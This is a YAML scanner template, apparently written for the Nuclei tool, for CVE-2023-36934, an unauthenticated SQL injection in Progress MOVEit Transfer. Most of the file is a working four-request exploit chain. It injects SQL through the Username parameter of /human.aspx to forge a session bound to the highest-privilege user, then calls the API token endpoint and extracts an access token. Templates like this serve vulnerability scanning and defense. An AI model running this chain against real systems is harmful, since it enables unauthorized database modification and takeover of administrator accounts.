id: CVE-2023-36934

info:
  name: MOVEit Transfer - SQL Injection
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    In Progress MOVEit Transfer before 2020.1.11 (12.1.11), 2021.0.9 (13.0.9), 2021.1.7 (13.1.7), 2022.0.7 (14.0.7), 2022.1.8 (14.1.8), and 2023.0.4 (15.0.4), a SQL injection vulnerability has been identified in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain unauthorized access to the MOVEit Transfer database. An attacker could submit a crafted payload to a MOVEit Transfer application endpoint that could result in modification and disclosure of MOVEit database content.
  reference:
    - https://community.progress.com/s/article/MOVEit-Transfer-2020-1-Service-Pack-July-2023
    - https://blog.projectdiscovery.io/moveit-transfer-sql-injection/
    - https://thehackernews.com/2023/07/another-critical-unauthenticated-sqli.html
    - https://www.progress.com/moveit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2023-36934
    cwe-id: CWE-89
    epss-score: 0.01286
    cpe: cpe:2.3:a:progress:moveit_transfer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    product: moveit_transfer
    shodan-query: http.favicon.hash:989289239
    vendor: progress
    verified: true
  tags: cve,cve2023,moveit,rce,sqli,intrusive
variables:
  session_cookie: "{{randstr}}"

http:
  - raw:
      - |
        POST /human.aspx?Username=SQL%27%3BINSERT+INTO+activesessions+(SessionID)+values+(%27{{session_cookie}}%27);UPDATE+activesessions+SET+Username=(select+Username+from+users+order+by+permission+desc+limit+1)+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LoginName=%27test@test.com%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+RealName=%27test@test.com%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+InstId=%271234%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+IpAddress=%27{{public_ip()}}%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LastTouch=%272099-06-10+09:30:00%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+DMZInterface=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+Timeout=%2760%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+ResilNode=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+AcctReady=%271%27+WHERE+SessionID=%27{{session_cookie}}%27%23 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        transaction=signon
      - |
        POST /human.aspx?ep={{url_encode(ep)}} HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: InitialPage=zzzz.aspx;

        transaction=passchangerequest
      - |
        POST /machine.aspx HTTP/2
        Host: {{Hostname}}
        Cookie: siLockLongTermInstID=0; ASP.NET_SessionId={{session}};

        a=a
      - |
        POST /api/v1/auth/token HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.26.0
        Accept-Encoding: gzip, deflate
        Cookie: ASP.NET_SessionId={{session_cookie}}
        Content-Type: application/x-www-form-urlencoded

        grant_type=session&username=x&password=x

    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - '"refresh_token"'
          - '"access_token"'
          - '"token_type"'
          - '"expires_in"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: ep
        group: 1
        regex:
          - '\bep=([^&]+)"'
        internal: true
        part: body_1

      - type: regex
        name: session
        group: 1
        regex:
          - 'ASP.NET_SessionId=([^;]+)'
        internal: true
        part: header_2

      - type: regex
        group: 1
        regex:
          - '"access_token":"([^"]+)"'
        part: body_4